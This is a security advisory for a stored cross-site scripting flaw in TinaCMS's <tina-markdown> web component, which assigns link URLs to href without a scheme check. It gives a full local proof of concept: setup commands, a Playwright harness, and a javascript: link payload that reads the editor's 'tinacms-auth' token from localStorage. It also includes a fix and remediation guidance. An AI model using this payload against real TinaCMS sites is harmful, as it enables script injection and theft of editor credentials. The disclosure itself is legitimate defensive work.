GHSA-c42q-qvc3-j6vg: XSS
Summary
<tina-markdown> renders a rich-text AST into the DOM and, for a nodes, assigns the node's URL straight to the anchor's href with no scheme check. A link authored in the CMS as javascript:… renders as a live javascript: anchor, so a visitor who clicks it executes attacker-supplied script in the site's origin. Every sibling renderer in the repository already sanitizes these URLs; this one does not.
Details
The unvalidated sink:
packages/@tinacms/web-components/src/tina-markdown.js:67-69 if (node.type === 'html' || node.type === 'htmlinline') { return DOMPurify.sanitize(node.value, { RETURNDOMFRAGMENT: true }); } packages/@tinacms/web-components/src/tina-markdown.js:75 if (node.url && node.type === 'a') el.href = node.url; packages/@tinacms/web-components/src/tina-markdown.js:76 if (node.url && node.type === 'img') el.src = node.url;
node.url comes from the content attribute the site populates from the TinaCMS content API (:169-176), i.e. whatever a content author typed into a rich-text field. The DOMPurify call at :68 handles only raw-HTML node values and returns before the anchor branch, so it never inspects node.url. Line 75 is a direct property assignment — no HTML parser, no sanitizer. The mode: 'open' shadow root (:164-167) provides no script isolation.
The guard that exists in every sibling renderer:
packages/@tinacms/mdx/src/sanitize-url.ts:10 allowedSchemes = ['http','https','mailto','tel','xref'] packages/tinacms/src/rich-text/index.tsx:335 <a href={sanitizeUrl(child.url)}> packages/tinacms/src/rich-text/index.tsx:322 <img src={sanitizeUrl(child.url)} .../> packages/tinacms/src/rich-text/static.tsx:254 <a href={sanitizeUrl(child.url)}> packages/tinacms/src/rich-text/static.tsx:242 <img src={sanitizeUrl(child.url)} .../> packages/@tinacms/astro/src/LinkNode.astro:19 <a href={sanitizeHref(node.url)}> packages/@tinacms/astro/src/ImageNode.astro:16 <img src={sanitizeImageSrc(node.url)} .../>
tina-markdown.js:75 is the only rich-text link sink in the repository that omits it — six of seven sanitize.
That this is an oversight rather than intent: the 0.2.0 changelog entry states the goal of "matching the components prop on the React and Astro renderers" while adding DOMPurify for html nodes, and packages/@tinacms/web-components/src/tina-markdown.test.ts:83-96 only asserts that an https://example.com link renders — no scheme case is covered either way.
Default-enabled: customElements.define('tina-markdown', TinaMarkdown) runs at module scope (:179); importing the published entry point is the whole setup, with no option object or sanitizer setting.
Suggested fix — reuse the existing dependency-free subpath export rather than adding a third implementation:
js import { sanitizeUrl } from '@tinacms/mdx/sanitize-url'; if (node.url && node.type === 'a') el.href = sanitizeUrl(node.url); if (node.url && node.type === 'img') el.src = sanitizeUrl(node.url);
Variant with the same root cause and the same fix: :76 (img.src). A javascript: URL does not execute from img.src, so it is not scored here, but the line has no validation either — which is why @tinacms/astro carries a separate sanitizeImageSrc.
PoC
Safe, local, non-destructive. One loopback server stands in for a public site rendering CMS rich-text. The page loads tina-markdown.js byte-for-byte from the checkout (bundled with its declared dompurify dependency) and also exposes the repository's own sanitizeUrl so the same input can be run through the canonical guard as a control. No traffic leaves the machine; the payload only writes a page-local variable.
Environment used: Linux, Node v22.23.1, Google Chrome (/usr/bin/google-chrome) driven by playwright@1.49.0.
Setup
bash git clone https://github.com/tinacms/tinacms.git tinacms-poc cd tinacms-poc && git checkout 0d38acfdd23143384b8787d5d772b713fa7af163 REPO=$PWD
mkdir -p /tmp/tina-tm/site && cd /tmp/tina-tm npm init -y >/dev/null npm i --ignore-scripts dompurify@3.3.1 esbuild@0.25.0 playwright@1.49.0
cp "$REPO/packages/@tinacms/web-components/src/tina-markdown.js" ./tina-markdown.js cp "$REPO/packages/@tinacms/mdx/src/sanitize-url.ts" ./sanitize-url.ts
entry.js:
js import './tina-markdown.js'; // registers <tina-markdown> import { sanitizeUrl } from './sanitize-url.ts'; // the canonical guard, for the control window.sanitizeUrl = sanitizeUrl;
site/index.html — the AST is what @tinacms/graphql returns for the markdown source click me:
html <!doctype html><html><head><title>public site rendering CMS rich-text</title></head> <body> <h1>Site page</h1> <div id="host"></div> <script type="module" src="/bundle.js"></script> <script type="module"> const ast = { type: 'root', children: [ { type: 'p', children: [ { type: 'a', url: "javascript:window.pwned=document.domain+' | localStorage[tinacms-auth]='+localStorage.getItem('tinacms-auth');void 0", children: [{ type: 'text', text: 'click me' }] } ]} ] }; // Stand-in for a signed-in editor's stored TinaCMS credential. The real key and // value are written by packages/tinacms/src/internalClient/authProvider.ts:117. localStorage.setItem('tinacms-auth', 'DEMO-EDITOR-TOKEN'); const el = document.createElement('tina-markdown'); el.setAttribute('content', JSON.stringify(ast)); document.getElementById('host').appendChild(el); window.ready = true; </script> </body></html>
run.cjs:
js const http=require('http'),fs=require('fs'),path=require('path'),{chromium}=require('playwright'); const PORT=8811, DIR=path.join(dirname,'site'); const srv=http.createServer((req,res)=>{const p=req.url==='/'?'/index.html':req.url.split('?')[0]; const f=path.join(DIR,p); if(!f.startsWith(DIR)||!fs.existsSync(f)){res.writeHead(404).end('nf');return;} res.writeHead(200,{'content-type':p.endsWith('.js')?'text/javascript':'text/html; charset=utf-8'}); res.end(fs.readFileSync(f));}); (async()=>{await new Promise(r=>srv.listen(PORT,'127.0.0.1',r)); const browser=await chromium.launch({executablePath:'/usr/bin/google-chrome'}); const page=await browser.newPage(); await page.goto(http://127.0.0.1:${PORT}/); await page.waitForFunction(()=>window.ready===true); await page.waitForTimeout(300); const rendered=await page.evaluate(()=>{const a=document.querySelector('tina-markdown').shadowRoot.querySelector('a'); return {hrefAttr:a&&a.getAttribute('href')};}); await page.evaluate(()=>document.querySelector('tina-markdown').shadowRoot.querySelector('a').click()); await page.waitForTimeout(500); const pwned=await page.evaluate(()=>window.pwned||null); const control=await page.evaluate(()=>window.sanitizeUrl("javascript:window.pwned = document.domain")); console.log(JSON.stringify({renderedAnchorHref:rendered.hrefAttr, scriptExecutedOnClick:pwned!==null, capturedByPayload:pwned, controlsanitizeUrloutput:control},null,2)); await browser.close(); srv.close();})();
Run
bash cd /tmp/tina-tm npx esbuild entry.js --bundle --outfile=site/bundle.js --format=esm --loader:.ts=ts node run.cjs
Observed output (captured verbatim)
json { "renderedAnchorHref": "javascript:window.pwned=document.domain+' | localStorage[tinacms-auth]='+localStorage.getItem('tinacms-auth');void 0", "scriptExecutedOnClick": true, "capturedByPayload": "127.0.0.1 | localStorage[tinacms-auth]=DEMO-EDITOR-TOKEN", "controlsanitizeUrloutput": "" }
Expected vulnerable output — renderedAnchorHref is the attacker-supplied javascript: string unchanged (no scheme validation at the sink), scriptExecutedOnClick is true, and capturedByPayload contains the page's own domain plus the value read out of localStorage['tinacms-auth'] (script ran in the site origin with full read access to that origin's storage). All held.
Control — controlsanitizeUrloutput is "". The repository's own sanitizeUrl, invoked in the same browser realm on the same class of input, rejects the scheme. That is exactly what packages/tinacms/src/rich-text/index.tsx:335 and packages/@tinacms/astro/src/LinkNode.astro:19 do for the identical AST, which isolates the defect to the missing call rather than to the input or the harness.
Second control, internal to the same file: an html node carrying <a href="javascript:alert(1)">x</a> is stripped by the DOMPurify call at :68, so the same payload delivered as raw HTML is blocked while the same payload delivered as a link node is not.
Cleanup
bash rm -rf /tmp/tina-tm
The PoC was re-run after this report was drafted; the JSON above is that run.
Impact
Stored cross-site scripting via an unvalidated URL scheme in a link attribute. A user whose only capability is editing content gains script execution in every visitor's browser session on the site's origin. Because TinaCMS's documented layout serves the admin from the same origin (public/admin/) and stores the editor token in localStorage under tinacms-auth (packages/tinacms/src/auth/authenticate.ts:5, written at packages/tinacms/src/internalClient/authProvider.ts:117), a clicking visitor who is themselves an editor or administrator exposes that credential — the PoC reads it.
Impacted: any site rendering TinaCMS rich-text through <tina-markdown>. That component exists precisely for non-React sites, i.e. the deployments that do not get tinacms's sanitized React renderer.
Credits
- Thai Son Dinh from VinSOC Labs (R&D)
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/@tinacms/web-componentsto a version that resolves this vulnerability.Fixed in 0.2.1 - Configuration
Reuse the existing @tinacms/mdx/sanitize-url sanitizeUrl guard before assigning node.url: set anchor href with sanitizeUrl(node.url) instead of node.url at tina-markdown.js:75, and apply the same guard to the img src assignment at :76. The guard allows the schemes listed as allowedSchemes = ['http','https','mailto','tel','xref'].
@tinacms/web-components <tina-markdown> URL sanitization for a and img node URLs = sanitizeUrl(node.url)
Event History
Frequently Asked Questions
Who is exposed to this issue?
Sites using npm/@tinacms/web-components to render TinaCMS rich-text content through tina-markdown are exposed when a content author can place a URL in an anchor node. Visitors are affected only if they click the resulting link.
What access does an attacker need?
An attacker needs the ability to author or modify a rich-text field supplied through the TinaCMS content API. They can set an anchor URL to a javascript: value; no direct access to the site's source code is described.
What is the impact after a malicious link is clicked?
The attacker-supplied script executes in the site's origin. The supplied severity vector indicates high confidentiality impact and low integrity impact, with no availability impact.
How can we identify potentially affected content or reduce risk before patching?
Review rich-text content authored in the CMS for anchor URLs using the javascript: scheme and remove them. Prevent such URLs from reaching the renderer by validating or restricting link schemes before rendering; the described DOMPurify handling for raw HTML does not validate anchor node URLs.